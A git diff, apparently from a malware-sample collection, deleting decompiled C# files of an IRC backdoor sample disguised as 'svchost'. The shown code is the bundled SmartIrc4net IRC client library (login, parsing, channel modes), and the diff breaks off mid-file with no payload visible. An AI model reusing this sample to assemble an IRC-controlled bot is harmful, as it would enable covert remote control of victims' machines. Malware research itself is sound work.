diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/InviteEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/InviteEventArgs.cs
deleted file mode 100644
index 33e720fe..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/InviteEventArgs.cs
+++ /dev/null
@@ -1,25 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.InviteEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class InviteEventArgs : IrcEventArgs
- {
- private string _Channel;
- private string _Who;
-
- public string Channel => this._Channel;
-
- public string Who => this._Who;
-
- internal InviteEventArgs(IrcMessageData data, string channel, string who)
- : base(data)
- {
- this._Channel = channel;
- this._Who = who;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/InviteEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/InviteEventHandler.cs
deleted file mode 100644
index b9d4640e..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/InviteEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.InviteEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void InviteEventHandler(object sender, InviteEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcClient.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcClient.cs
deleted file mode 100644
index d94ced90..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcClient.cs
+++ /dev/null
@@ -1,1691 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.IrcClient
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.Collections;
-using System.Collections.Generic;
-using System.Collections.Specialized;
-using System.Text.RegularExpressions;
-using System.Threading;
-
-namespace Meebey.SmartIrc4net
-{
- public class IrcClient : IrcCommands
- {
- private string _Nickname = string.Empty;
- private string[] _NicknameList;
- private int _CurrentNickname;
- private string _Realname = string.Empty;
- private string _Usermode = string.Empty;
- private int _IUsermode;
- private string _Username = string.Empty;
- private string _Password = string.Empty;
- private bool _IsAway;
- private string _CtcpVersion;
- private bool _ActiveChannelSyncing;
- private bool _PassiveChannelSyncing;
- private bool _AutoJoinOnInvite;
- private bool _AutoRejoin;
- private Dictionary _AutoRejoinChannels = new Dictionary();
- private bool _AutoRejoinOnKick;
- private bool _AutoRelogin;
- private bool _AutoNickHandling = true;
- private bool _SupportNonRfc;
- private bool _SupportNonRfcLocked;
- private StringCollection _Motd = new StringCollection();
- private bool _MotdReceived;
- private Array _ReplyCodes = Enum.GetValues(typeof (ReplyCode));
- private StringCollection _JoinedChannels = new StringCollection();
- private Hashtable _Channels = Hashtable.Synchronized(new Hashtable((IHashCodeProvider) new CaseInsensitiveHashCodeProvider(), (IComparer) new CaseInsensitiveComparer()));
- private Hashtable _IrcUsers = Hashtable.Synchronized(new Hashtable((IHashCodeProvider) new CaseInsensitiveHashCodeProvider(), (IComparer) new CaseInsensitiveComparer()));
- private List _ChannelList;
- private object _ChannelListSyncRoot = new object();
- private AutoResetEvent _ChannelListReceivedEvent;
- private List _WhoList;
- private object _WhoListSyncRoot = new object();
- private AutoResetEvent _WhoListReceivedEvent;
- private List _BanList;
- private object _BanListSyncRoot = new object();
- private AutoResetEvent _BanListReceivedEvent;
- private static Regex _ReplyCodeRegex = new Regex("^:[^ ]+? ([0-9]{3}) .+$", RegexOptions.Compiled);
- private static Regex _PingRegex = new Regex("^PING :.*", RegexOptions.Compiled);
- private static Regex _ErrorRegex = new Regex("^ERROR :.*", RegexOptions.Compiled);
- private static Regex _ActionRegex = new Regex("^:.*? PRIVMSG (.).* :\u0001ACTION .*\u0001$", RegexOptions.Compiled);
- private static Regex _CtcpRequestRegex = new Regex("^:.*? PRIVMSG .* :\u0001.*\u0001$", RegexOptions.Compiled);
- private static Regex _MessageRegex = new Regex("^:.*? PRIVMSG (.).* :.*$", RegexOptions.Compiled);
- private static Regex _CtcpReplyRegex = new Regex("^:.*? NOTICE .* :\u0001.*\u0001$", RegexOptions.Compiled);
- private static Regex _NoticeRegex = new Regex("^:.*? NOTICE (.).* :.*$", RegexOptions.Compiled);
- private static Regex _InviteRegex = new Regex("^:.*? INVITE .* .*$", RegexOptions.Compiled);
- private static Regex _JoinRegex = new Regex("^:.*? JOIN .*$", RegexOptions.Compiled);
- private static Regex _TopicRegex = new Regex("^:.*? TOPIC .* :.*$", RegexOptions.Compiled);
- private static Regex _NickRegex = new Regex("^:.*? NICK .*$", RegexOptions.Compiled);
- private static Regex _KickRegex = new Regex("^:.*? KICK .* .*$", RegexOptions.Compiled);
- private static Regex _PartRegex = new Regex("^:.*? PART .*$", RegexOptions.Compiled);
- private static Regex _ModeRegex = new Regex("^:.*? MODE (.*) .*$", RegexOptions.Compiled);
- private static Regex _QuitRegex = new Regex("^:.*? QUIT :.*$", RegexOptions.Compiled);
-
- public event EventHandler OnRegistered;
-
- public event PingEventHandler OnPing;
-
- public event PongEventHandler OnPong;
-
- public event IrcEventHandler OnRawMessage;
-
- public event ErrorEventHandler OnError;
-
- public event IrcEventHandler OnErrorMessage;
-
- public event JoinEventHandler OnJoin;
-
- public event NamesEventHandler OnNames;
-
- public event ListEventHandler OnList;
-
- public event PartEventHandler OnPart;
-
- public event QuitEventHandler OnQuit;
-
- public event KickEventHandler OnKick;
-
- public event AwayEventHandler OnAway;
-
- public event IrcEventHandler OnUnAway;
-
- public event IrcEventHandler OnNowAway;
-
- public event InviteEventHandler OnInvite;
-
- public event BanEventHandler OnBan;
-
- public event UnbanEventHandler OnUnban;
-
- public event OpEventHandler OnOp;
-
- public event DeopEventHandler OnDeop;
-
- public event HalfopEventHandler OnHalfop;
-
- public event DehalfopEventHandler OnDehalfop;
-
- public event VoiceEventHandler OnVoice;
-
- public event DevoiceEventHandler OnDevoice;
-
- public event WhoEventHandler OnWho;
-
- public event MotdEventHandler OnMotd;
-
- public event TopicEventHandler OnTopic;
-
- public event TopicChangeEventHandler OnTopicChange;
-
- public event NickChangeEventHandler OnNickChange;
-
- public event IrcEventHandler OnModeChange;
-
- public event IrcEventHandler OnUserModeChange;
-
- public event IrcEventHandler OnChannelModeChange;
-
- public event IrcEventHandler OnChannelMessage;
-
- public event ActionEventHandler OnChannelAction;
-
- public event IrcEventHandler OnChannelNotice;
-
- public event IrcEventHandler OnChannelActiveSynced;
-
- public event IrcEventHandler OnChannelPassiveSynced;
-
- public event IrcEventHandler OnQueryMessage;
-
- public event ActionEventHandler OnQueryAction;
-
- public event IrcEventHandler OnQueryNotice;
-
- public event CtcpEventHandler OnCtcpRequest;
-
- public event CtcpEventHandler OnCtcpReply;
-
- public bool ActiveChannelSyncing
- {
- get => this._ActiveChannelSyncing;
- set => this._ActiveChannelSyncing = value;
- }
-
- public bool PassiveChannelSyncing => this._PassiveChannelSyncing;
-
- public string CtcpVersion
- {
- get => this._CtcpVersion;
- set => this._CtcpVersion = value;
- }
-
- public bool AutoJoinOnInvite
- {
- get => this._AutoJoinOnInvite;
- set => this._AutoJoinOnInvite = value;
- }
-
- public bool AutoRejoin
- {
- get => this._AutoRejoin;
- set => this._AutoRejoin = value;
- }
-
- public bool AutoRejoinOnKick
- {
- get => this._AutoRejoinOnKick;
- set => this._AutoRejoinOnKick = value;
- }
-
- public bool AutoRelogin
- {
- get => this._AutoRelogin;
- set => this._AutoRelogin = value;
- }
-
- public bool AutoNickHandling
- {
- get => this._AutoNickHandling;
- set => this._AutoNickHandling = value;
- }
-
- public bool SupportNonRfc
- {
- get => this._SupportNonRfc;
- set
- {
- if (this._SupportNonRfcLocked)
- return;
- this._SupportNonRfc = value;
- }
- }
-
- public string Nickname => this._Nickname;
-
- public string[] NicknameList => this._NicknameList;
-
- public string Realname => this._Realname;
-
- public string Username => this._Username;
-
- public string Usermode => this._Usermode;
-
- public int IUsermode => this._IUsermode;
-
- public bool IsAway => this._IsAway;
-
- public string Password => this._Password;
-
- public StringCollection JoinedChannels => this._JoinedChannels;
-
- public StringCollection Motd => this._Motd;
-
- public object BanListSyncRoot => this._BanListSyncRoot;
-
- public IrcClient()
- {
- this.OnReadLine += new ReadLineEventHandler(this._Worker);
- this.OnDisconnected += new EventHandler(this._OnDisconnected);
- this.OnConnectionError += new EventHandler(this._OnConnectionError);
- }
-
- public new void Connect(string[] addresslist, int port)
- {
- this._SupportNonRfcLocked = true;
- base.Connect(addresslist, port);
- }
-
- public void Reconnect(bool login, bool channels)
- {
- if (channels)
- this._StoreChannelsToRejoin();
- this.Reconnect();
- if (login)
- {
- this._CurrentNickname = 0;
- this.Login(this._NicknameList, this.Realname, this.IUsermode, this.Username, this.Password);
- }
- if (!channels)
- return;
- this._RejoinChannels();
- }
-
- public void Reconnect(bool login) => this.Reconnect(login, true);
-
- public void Login(
- string[] nicklist,
- string realname,
- int usermode,
- string username,
- string password)
- {
- this._NicknameList = (string[]) nicklist.Clone();
- this._Nickname = this._NicknameList[0].Replace(" ", "");
- this._Realname = realname;
- this._IUsermode = usermode;
- this._Username = username == null || username.Length <= 0 ? Environment.UserName.Replace(" ", "") : username.Replace(" ", "");
- if (password != null && password.Length > 0)
- {
- this._Password = password;
- this.RfcPass(this.Password, Priority.Critical);
- }
- this.RfcNick(this.Nickname, Priority.Critical);
- this.RfcUser(this.Username, this.IUsermode, this.Realname, Priority.Critical);
- }
-
- public void Login(string[] nicklist, string realname, int usermode, string username) => this.Login(nicklist, realname, usermode, username, "");
-
- public void Login(string[] nicklist, string realname, int usermode) => this.Login(nicklist, realname, usermode, "", "");
-
- public void Login(string[] nicklist, string realname) => this.Login(nicklist, realname, 0, "", "");
-
- public void Login(
- string nick,
- string realname,
- int usermode,
- string username,
- string password)
- {
- this.Login(new string[3]
- {
- nick,
- nick + "_",
- nick + "__"
- }, realname, usermode, username, password);
- }
-
- public void Login(string nick, string realname, int usermode, string username) => this.Login(new string[3]
- {
- nick,
- nick + "_",
- nick + "__"
- }, realname, usermode, username, "");
-
- public void Login(string nick, string realname, int usermode) => this.Login(new string[3]
- {
- nick,
- nick + "_",
- nick + "__"
- }, realname, usermode, "", "");
-
- public void Login(string nick, string realname) => this.Login(new string[3]
- {
- nick,
- nick + "_",
- nick + "__"
- }, realname, 0, "", "");
-
- public bool IsMe(string nickname) => this.Nickname == nickname;
-
- public bool IsJoined(string channelname) => this.IsJoined(channelname, this.Nickname);
-
- public bool IsJoined(string channelname, string nickname)
- {
- if (channelname == null)
- throw new ArgumentNullException(nameof (channelname));
- if (nickname == null)
- throw new ArgumentNullException(nameof (nickname));
- Channel channel = this.GetChannel(channelname);
- return channel != null && channel.UnsafeUsers != null && channel.UnsafeUsers.ContainsKey((object) nickname);
- }
-
- public IrcUser GetIrcUser(string nickname) => nickname != null ? (IrcUser) this._IrcUsers[(object) nickname] : throw new ArgumentNullException(nameof (nickname));
-
- public ChannelUser GetChannelUser(string channelname, string nickname)
- {
- if (channelname == null)
- throw new ArgumentNullException("channel");
- if (nickname == null)
- throw new ArgumentNullException(nameof (nickname));
- Channel channel = this.GetChannel(channelname);
- return channel != null ? (ChannelUser) channel.UnsafeUsers[(object) nickname] : (ChannelUser) null;
- }
-
- public Channel GetChannel(string channelname) => channelname != null ? (Channel) this._Channels[(object) channelname] : throw new ArgumentNullException(nameof (channelname));
-
- public string[] GetChannels()
- {
- string[] channels = new string[this._Channels.Values.Count];
- int num = 0;
- foreach (Channel channel in (IEnumerable) this._Channels.Values)
- channels[num++] = channel.Name;
- return channels;
- }
-
- public IList GetChannelList(string mask)
- {
- List channelList = new List();
- lock (this._ChannelListSyncRoot)
- {
- this._ChannelList = channelList;
- this._ChannelListReceivedEvent = new AutoResetEvent(false);
- this.RfcList(mask);
- this._ChannelListReceivedEvent.WaitOne();
- this._ChannelListReceivedEvent = (AutoResetEvent) null;
- this._ChannelList = (List) null;
- }
- return (IList) channelList;
- }
-
- public IList GetWhoList(string mask)
- {
- List whoList = new List();
- lock (this._WhoListSyncRoot)
- {
- this._WhoList = whoList;
- this._WhoListReceivedEvent = new AutoResetEvent(false);
- this.RfcWho(mask);
- this._WhoListReceivedEvent.WaitOne();
- this._WhoListReceivedEvent = (AutoResetEvent) null;
- this._WhoList = (List) null;
- }
- return (IList) whoList;
- }
-
- public IList GetBanList(string channel)
- {
- List banList = new List();
- lock (this._BanListSyncRoot)
- {
- this._BanList = banList;
- this._BanListReceivedEvent = new AutoResetEvent(false);
- this.Ban(channel);
- this._BanListReceivedEvent.WaitOne();
- this._BanListReceivedEvent = (AutoResetEvent) null;
- this._BanList = (List) null;
- }
- return (IList) banList;
- }
-
- public IrcMessageData MessageParser(string rawline)
- {
- if (rawline == null)
- throw new ArgumentNullException(nameof (rawline));
- string nick = (string) null;
- string ident = (string) null;
- string host = (string) null;
- string channel = (string) null;
- string message = (string) null;
- if (rawline.Length == 0)
- throw new ArgumentException("Value must not be empty.", nameof (rawline));
- string str = rawline[0] != ':' ? rawline : rawline.Substring(1);
- string[] strArray = str.Split(' ');
- string from = strArray[0];
- string s = strArray[1];
- int length1 = from.IndexOf("!");
- int length2 = from.IndexOf("@");
- int num = str.IndexOf(" :");
- if (num != -1)
- ++num;
- if (length1 != -1)
- nick = from.Substring(0, length1);
- else if (length2 == -1)
- {
- if (!from.Contains("."))
- nick = from;
- }
- else
- nick = from.Substring(0, length2);
- if (length2 != -1 && length1 != -1)
- ident = from.Substring(length1 + 1, length2 - length1 - 1);
- if (length2 != -1)
- host = from.Substring(length2 + 1);
- ReplyCode replycode;
- try
- {
- replycode = (ReplyCode) int.Parse(s);
- }
- catch (FormatException ex)
- {
- replycode = ReplyCode.Null;
- }
- ReceiveType messageType = this._GetMessageType(rawline);
- if (num != -1)
- message = str.Substring(num + 1);
- switch (messageType)
- {
- case ReceiveType.Join:
- case ReceiveType.Kick:
- case ReceiveType.Part:
- case ReceiveType.TopicChange:
- case ReceiveType.ChannelModeChange:
- case ReceiveType.ChannelMessage:
- case ReceiveType.ChannelAction:
- case ReceiveType.ChannelNotice:
- channel = strArray[2];
- break;
- case ReceiveType.Invite:
- case ReceiveType.Who:
- case ReceiveType.Topic:
- case ReceiveType.BanList:
- case ReceiveType.ChannelMode:
- channel = strArray[3];
- break;
- case ReceiveType.Name:
- channel = strArray[4];
- break;
- }
- switch (replycode)
- {
- case ReplyCode.List:
- case ReplyCode.ListEnd:
- case ReplyCode.ErrorNoChannelModes:
- channel = strArray[3];
- break;
- }
- if (channel != null && channel[0] == ':')
- channel = channel.Substring(1);
- return new IrcMessageData(this, from, nick, ident, host, channel, message, rawline, messageType, replycode);
- }
-
- protected virtual IrcUser CreateIrcUser(string nickname) => new IrcUser(nickname, this);
-
- protected virtual Channel CreateChannel(string name) => this._SupportNonRfc ? (Channel) new NonRfcChannel(name) : new Channel(name);
-
- protected virtual ChannelUser CreateChannelUser(string channel, IrcUser ircUser) => this._SupportNonRfc ? (ChannelUser) new NonRfcChannelUser(channel, ircUser) : new ChannelUser(channel, ircUser);
-
- private void _Worker(object sender, ReadLineEventArgs e) => this._HandleEvents(this.MessageParser(e.Line));
-
- private void _OnDisconnected(object sender, EventArgs e)
- {
- if (this.AutoRejoin)
- this._StoreChannelsToRejoin();
- this._SyncingCleanup();
- }
-
- private void _OnConnectionError(object sender, EventArgs e)
- {
- try
- {
- if (this.AutoReconnect && this.AutoRelogin)
- this.Login(this._NicknameList, this.Realname, this.IUsermode, this.Username, this.Password);
- if (!this.AutoReconnect || !this.AutoRejoin)
- return;
- this._RejoinChannels();
- }
- catch (NotConnectedException ex)
- {
- }
- }
-
- private void _StoreChannelsToRejoin()
- {
- lock (this._AutoRejoinChannels)
- {
- this._AutoRejoinChannels.Clear();
- if (this.ActiveChannelSyncing || this.PassiveChannelSyncing)
- {
- foreach (Channel channel in (IEnumerable) this._Channels.Values)
- this._AutoRejoinChannels.Add(channel.Name, channel.Key);
- }
- else
- {
- foreach (string joinedChannel in this._JoinedChannels)
- this._AutoRejoinChannels.Add(joinedChannel, (string) null);
- }
- }
- }
-
- private void _RejoinChannels()
- {
- }
-
- private void _SyncingCleanup()
- {
- this._JoinedChannels.Clear();
- if (this.ActiveChannelSyncing)
- {
- this._Channels.Clear();
- this._IrcUsers.Clear();
- }
- this._IsAway = false;
- this._MotdReceived = false;
- this._Motd.Clear();
- }
-
- private string _NextNickname()
- {
- ++this._CurrentNickname;
- if (this._CurrentNickname >= this._NicknameList.Length)
- --this._CurrentNickname;
- return this.NicknameList[this._CurrentNickname];
- }
-
- private ReceiveType _GetMessageType(string rawline)
- {
- Match match1 = IrcClient._ReplyCodeRegex.Match(rawline);
- if (match1.Success)
- {
- ReplyCode replyCode = (ReplyCode) int.Parse(match1.Groups[1].Value);
- if (Array.IndexOf(this._ReplyCodes, (object) replyCode) == -1)
- return ReceiveType.Unknown;
- switch (replyCode)
- {
- case ReplyCode.Welcome:
- case ReplyCode.YourHost:
- case ReplyCode.Created:
- case ReplyCode.MyInfo:
- case ReplyCode.Bounce:
- return ReceiveType.Login;
- case ReplyCode.UserModeIs:
- return ReceiveType.UserMode;
- case ReplyCode.LuserClient:
- case ReplyCode.LuserOp:
- case ReplyCode.LuserUnknown:
- case ReplyCode.LuserChannels:
- case ReplyCode.LuserMe:
- return ReceiveType.Info;
- case ReplyCode.WhoIsUser:
- case ReplyCode.WhoIsServer:
- case ReplyCode.WhoIsOperator:
- case ReplyCode.WhoIsIdle:
- case ReplyCode.EndOfWhoIs:
- case ReplyCode.WhoIsChannels:
- return ReceiveType.WhoIs;
- case ReplyCode.WhoWasUser:
- case ReplyCode.EndOfWhoWas:
- return ReceiveType.WhoWas;
- case ReplyCode.EndOfWho:
- case ReplyCode.WhoReply:
- return ReceiveType.Who;
- case ReplyCode.ListStart:
- case ReplyCode.List:
- case ReplyCode.ListEnd:
- return ReceiveType.List;
- case ReplyCode.ChannelModeIs:
- return ReceiveType.ChannelMode;
- case ReplyCode.NoTopic:
- case ReplyCode.Topic:
- return ReceiveType.Topic;
- case ReplyCode.NamesReply:
- case ReplyCode.EndOfNames:
- return ReceiveType.Name;
- case ReplyCode.BanList:
- case ReplyCode.EndOfBanList:
- return ReceiveType.BanList;
- case ReplyCode.Motd:
- case ReplyCode.MotdStart:
- case ReplyCode.EndOfMotd:
- return ReceiveType.Motd;
- default:
- return replyCode >= (ReplyCode) 400 && replyCode <= (ReplyCode) 599 ? ReceiveType.ErrorMessage : ReceiveType.Unknown;
- }
- }
- else
- {
- if (IrcClient._PingRegex.Match(rawline).Success)
- return ReceiveType.Unknown;
- if (IrcClient._ErrorRegex.Match(rawline).Success)
- return ReceiveType.Error;
- Match match2 = IrcClient._ActionRegex.Match(rawline);
- if (match2.Success)
- {
- switch (match2.Groups[1].Value)
- {
- case "#":
- case "!":
- case "&":
- case "+":
- return ReceiveType.ChannelAction;
- default:
- return ReceiveType.QueryAction;
- }
- }
- else
- {
- if (IrcClient._CtcpRequestRegex.Match(rawline).Success)
- return ReceiveType.CtcpRequest;
- Match match3 = IrcClient._MessageRegex.Match(rawline);
- if (match3.Success)
- {
- switch (match3.Groups[1].Value)
- {
- case "#":
- case "!":
- case "&":
- case "+":
- return ReceiveType.ChannelMessage;
- default:
- return ReceiveType.QueryMessage;
- }
- }
- else
- {
- if (IrcClient._CtcpReplyRegex.Match(rawline).Success)
- return ReceiveType.CtcpReply;
- Match match4 = IrcClient._NoticeRegex.Match(rawline);
- if (match4.Success)
- {
- switch (match4.Groups[1].Value)
- {
- case "#":
- case "!":
- case "&":
- case "+":
- return ReceiveType.ChannelNotice;
- default:
- return ReceiveType.QueryNotice;
- }
- }
- else
- {
- if (IrcClient._InviteRegex.Match(rawline).Success)
- return ReceiveType.Invite;
- if (IrcClient._JoinRegex.Match(rawline).Success)
- return ReceiveType.Join;
- if (IrcClient._TopicRegex.Match(rawline).Success)
- return ReceiveType.TopicChange;
- if (IrcClient._NickRegex.Match(rawline).Success)
- return ReceiveType.NickChange;
- if (IrcClient._KickRegex.Match(rawline).Success)
- return ReceiveType.Kick;
- if (IrcClient._PartRegex.Match(rawline).Success)
- return ReceiveType.Part;
- Match match5 = IrcClient._ModeRegex.Match(rawline);
- return match5.Success ? (match5.Groups[1].Value == this._Nickname ? ReceiveType.UserModeChange : ReceiveType.ChannelModeChange) : (IrcClient._QuitRegex.Match(rawline).Success ? ReceiveType.Quit : ReceiveType.Unknown);
- }
- }
- }
- }
- }
-
- private void _HandleEvents(IrcMessageData ircdata)
- {
- if (this.OnRawMessage != null)
- this.OnRawMessage((object) this, new IrcEventArgs(ircdata));
- switch (ircdata.RawMessageArray[0])
- {
- case "PING":
- this._Event_PING(ircdata);
- break;
- case "ERROR":
- this._Event_ERROR(ircdata);
- break;
- }
- switch (ircdata.RawMessageArray[1])
- {
- case "PRIVMSG":
- this._Event_PRIVMSG(ircdata);
- break;
- case "NOTICE":
- this._Event_NOTICE(ircdata);
- break;
- case "JOIN":
- this._Event_JOIN(ircdata);
- break;
- case "PART":
- this._Event_PART(ircdata);
- break;
- case "KICK":
- this._Event_KICK(ircdata);
- break;
- case "QUIT":
- this._Event_QUIT(ircdata);
- break;
- case "TOPIC":
- this._Event_TOPIC(ircdata);
- break;
- case "NICK":
- this._Event_NICK(ircdata);
- break;
- case "INVITE":
- this._Event_INVITE(ircdata);
- break;
- case "MODE":
- this._Event_MODE(ircdata);
- break;
- case "PONG":
- this._Event_PONG(ircdata);
- break;
- }
- if (ircdata.ReplyCode != ReplyCode.Null)
- {
- switch (ircdata.ReplyCode)
- {
- case ReplyCode.Welcome:
- this._Event_RPL_WELCOME(ircdata);
- break;
- case ReplyCode.TryAgain:
- this._Event_RPL_TRYAGAIN(ircdata);
- break;
- case ReplyCode.Away:
- this._Event_RPL_AWAY(ircdata);
- break;
- case ReplyCode.UnAway:
- this._Event_RPL_UNAWAY(ircdata);
- break;
- case ReplyCode.NowAway:
- this._Event_RPL_NOWAWAY(ircdata);
- break;
- case ReplyCode.EndOfWho:
- this._Event_RPL_ENDOFWHO(ircdata);
- break;
- case ReplyCode.List:
- this._Event_RPL_LIST(ircdata);
- break;
- case ReplyCode.ListEnd:
- this._Event_RPL_LISTEND(ircdata);
- break;
- case ReplyCode.ChannelModeIs:
- this._Event_RPL_CHANNELMODEIS(ircdata);
- break;
- case ReplyCode.NoTopic:
- this._Event_RPL_NOTOPIC(ircdata);
- break;
- case ReplyCode.Topic:
- this._Event_RPL_TOPIC(ircdata);
- break;
- case ReplyCode.WhoReply:
- this._Event_RPL_WHOREPLY(ircdata);
- break;
- case ReplyCode.NamesReply:
- this._Event_RPL_NAMREPLY(ircdata);
- break;
- case ReplyCode.EndOfNames:
- this._Event_RPL_ENDOFNAMES(ircdata);
- break;
- case ReplyCode.BanList:
- this._Event_RPL_BANLIST(ircdata);
- break;
- case ReplyCode.EndOfBanList:
- this._Event_RPL_ENDOFBANLIST(ircdata);
- break;
- case ReplyCode.Motd:
- this._Event_RPL_MOTD(ircdata);
- break;
- case ReplyCode.EndOfMotd:
- this._Event_RPL_ENDOFMOTD(ircdata);
- break;
- case ReplyCode.ErrorNicknameInUse:
- this._Event_ERR_NICKNAMEINUSE(ircdata);
- break;
- case ReplyCode.ErrorNoChannelModes:
- this._Event_ERR_NOCHANMODES(ircdata);
- break;
- }
- }
- if (ircdata.Type != ReceiveType.ErrorMessage)
- return;
- this._Event_ERR(ircdata);
- }
-
- private bool _RemoveIrcUser(string nickname)
- {
- if (this.GetIrcUser(nickname).JoinedChannels.Length != 0)
- return false;
- this._IrcUsers.Remove((object) nickname);
- return true;
- }
-
- private void _RemoveChannelUser(string channelname, string nickname)
- {
- Channel channel = this.GetChannel(channelname);
- channel.UnsafeUsers.Remove((object) nickname);
- channel.UnsafeOps.Remove((object) nickname);
- channel.UnsafeVoices.Remove((object) nickname);
- if (!this.SupportNonRfc)
- return;
- ((NonRfcChannel) channel).UnsafeHalfops.Remove((object) nickname);
- }
-
- private void _InterpretChannelMode(IrcMessageData ircdata, string mode, string parameter)
- {
- string[] strArray = parameter.Split(' ');
- bool flag1 = false;
- bool flag2 = false;
- int length = mode.Length;
- Channel channel = (Channel) null;
- if (this.ActiveChannelSyncing)
- channel = this.GetChannel(ircdata.Channel);
- IEnumerator enumerator = strArray.GetEnumerator();
- enumerator.MoveNext();
- for (int index = 0; index < length; ++index)
- {
- switch (mode[index])
- {
- case '+':
- flag1 = true;
- flag2 = false;
- break;
- case '-':
- flag1 = false;
- flag2 = true;
- break;
- case 'b':
- string current1 = (string) enumerator.Current;
- enumerator.MoveNext();
- if (flag1)
- {
- if (this.ActiveChannelSyncing)
- {
- try
- {
- channel.Bans.Add(current1);
- }
- catch (ArgumentException ex)
- {
- }
- }
- if (this.OnBan != null)
- this.OnBan((object) this, new BanEventArgs(ircdata, ircdata.Channel, ircdata.Nick, current1));
- }
- if (flag2)
- {
- if (this.ActiveChannelSyncing)
- channel.Bans.Remove(current1);
- if (this.OnUnban != null)
- {
- this.OnUnban((object) this, new UnbanEventArgs(ircdata, ircdata.Channel, ircdata.Nick, current1));
- break;
- }
- break;
- }
- break;
- case 'h':
- if (this.SupportNonRfc)
- {
- string current2 = (string) enumerator.Current;
- enumerator.MoveNext();
- if (flag1)
- {
- if (this.ActiveChannelSyncing)
- {
- if (this.GetChannelUser(ircdata.Channel, current2) != null)
- {
- try
- {
- ((NonRfcChannel) channel).UnsafeHalfops.Add((object) current2, (object) this.GetIrcUser(current2));
- }
- catch (ArgumentException ex)
- {
- }
- ((NonRfcChannelUser) this.GetChannelUser(ircdata.Channel, current2)).IsHalfop = true;
- }
- }
- if (this.OnHalfop != null)
- this.OnHalfop((object) this, new HalfopEventArgs(ircdata, ircdata.Channel, ircdata.Nick, current2));
- }
- if (flag2)
- {
- if (this.ActiveChannelSyncing && this.GetChannelUser(ircdata.Channel, current2) != null)
- {
- ((NonRfcChannel) channel).UnsafeHalfops.Remove((object) current2);
- ((NonRfcChannelUser) this.GetChannelUser(ircdata.Channel, current2)).IsHalfop = false;
- }
- if (this.OnDehalfop != null)
- {
- this.OnDehalfop((object) this, new DehalfopEventArgs(ircdata, ircdata.Channel, ircdata.Nick, current2));
- break;
- }
- break;
- }
- break;
- }
- break;
- case 'k':
- string current3 = (string) enumerator.Current;
- enumerator.MoveNext();
- if (flag1 && this.ActiveChannelSyncing)
- channel.Key = current3;
- if (flag2 && this.ActiveChannelSyncing)
- {
- channel.Key = "";
- break;
- }
- break;
- case 'l':
- string current4 = (string) enumerator.Current;
- enumerator.MoveNext();
- if (flag1)
- {
- if (this.ActiveChannelSyncing)
- {
- try
- {
- channel.UserLimit = int.Parse(current4);
- }
- catch (FormatException ex)
- {
- }
- }
- }
- if (flag2 && this.ActiveChannelSyncing)
- {
- channel.UserLimit = 0;
- break;
- }
- break;
- case 'o':
- string current5 = (string) enumerator.Current;
- enumerator.MoveNext();
- if (flag1)
- {
- if (this.ActiveChannelSyncing)
- {
- if (this.GetChannelUser(ircdata.Channel, current5) != null)
- {
- try
- {
- channel.UnsafeOps.Add((object) current5, (object) this.GetIrcUser(current5));
- }
- catch (ArgumentException ex)
- {
- }
- this.GetChannelUser(ircdata.Channel, current5).IsOp = true;
- }
- }
- if (this.OnOp != null)
- this.OnOp((object) this, new OpEventArgs(ircdata, ircdata.Channel, ircdata.Nick, current5));
- }
- if (flag2)
- {
